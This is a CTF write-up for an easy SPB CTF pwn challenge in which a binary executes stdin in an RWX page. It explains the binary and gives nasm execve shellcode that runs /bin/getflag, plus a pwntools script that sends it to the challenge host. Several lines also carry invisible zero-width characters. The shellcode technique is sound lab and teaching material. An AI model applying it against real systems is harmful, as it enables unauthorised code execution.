← Back to Writeups
CUSTOMEasypwn

Mic Check — getflag

XESXOR9/2/20262 min read
#pwn#custom#easy#execve_shellcode#raw_syscall#stack_string_build#linux

Mic Check — getflag

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: execve_shellcode, raw_syscall, stack_string_build

Summary

Task: trivial shellcode runner that mmaps an RWX page, reads up to 0x400 bytes of input, copies them in and calls them; goal is to exec /bin/getflag. Solution: 34-byte amd64 shellcode that pushes the string '/bin/getflag\0' on the stack and calls execve via syscall 59.

Mic Check — getflag — SPB CTF Pwn Season

Description

Run the shellcode and call /bin/getflag nc 109.233.56.90 11667

Category: Mic Check (shellcoding), 10 pts Binary: task — ELF x86-64, NX, No PIE, not stripped

Analysis

main performs the canonical shellcode-runner pattern:

  1. mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0) — allocates a 0x1000 RWX page.
  2. fread(local_buf, 1, 0x400, stdin) — reads up to 1024 bytes from stdin into a stack buffer.
  3. memcpy(rwx_page, local_buf, 0x400) — copies user data into the RWX region.
  4. call *rwx_page — hands control to our bytes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

There is no syscall filter and no restriction on the shellcode bytes. The flag is retrieved by executing the external helper program /bin/getflag, so we need an execve("/bin/getflag", NULL, NULL) primitive.

Solution

We build the string /bin/getflag\0 on the stack with three pushes and issue execve directly via syscall (SYS_execve = 59 on amd64 Linux):

nasm
BITS 64
    xor    rsi, rsi                     ; rsi = 0 (envp = NULL, and the trailing NUL)
    push   rsi                          ; stack: \0\0\0\0\0\0\0\0
    mov    rax, 0x67616c66              ; "flag"
    push   rax
    mov    rax, 0x7465672f6e69622f      ; "/bin/get"
    push   rax                          ; stack now holds "/bin/getflag\0\0\0\0"
    mov    rdi, rsp                     ; rdi -> filename
    xor    rdx, rdx                     ; rdx = 0 (argv = NULL)
    mov    rax, 59                      ; SYS_execve
    syscall

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The assembled shellcode is 34 bytes; rsi and rdx are both zero so the kernel sees execve("/bin/getflag", NULL, NULL).

A small implementation detail: on macOS the pwntools host tool chain does not ship an amd64 GNU assembler by default, so pwnlib.asm cannot assemble this. We assembled it with nasm directly and fed the raw bytes to the remote.

python
#!/usr/bin/env python3
from pwn import *

sc = open('sc.bin', 'rb').read()
print("shellcode size:", len(sc), "hex:", sc.hex())

p = remote('109.233.56.90', 11667)
p.send(sc)
p.shutdown('send')
data = p.recvall(timeout=5)
print("=== OUTPUT ===")
print(data.decode(errors='replace'))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Remote returns the flag printed by /bin/getflag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍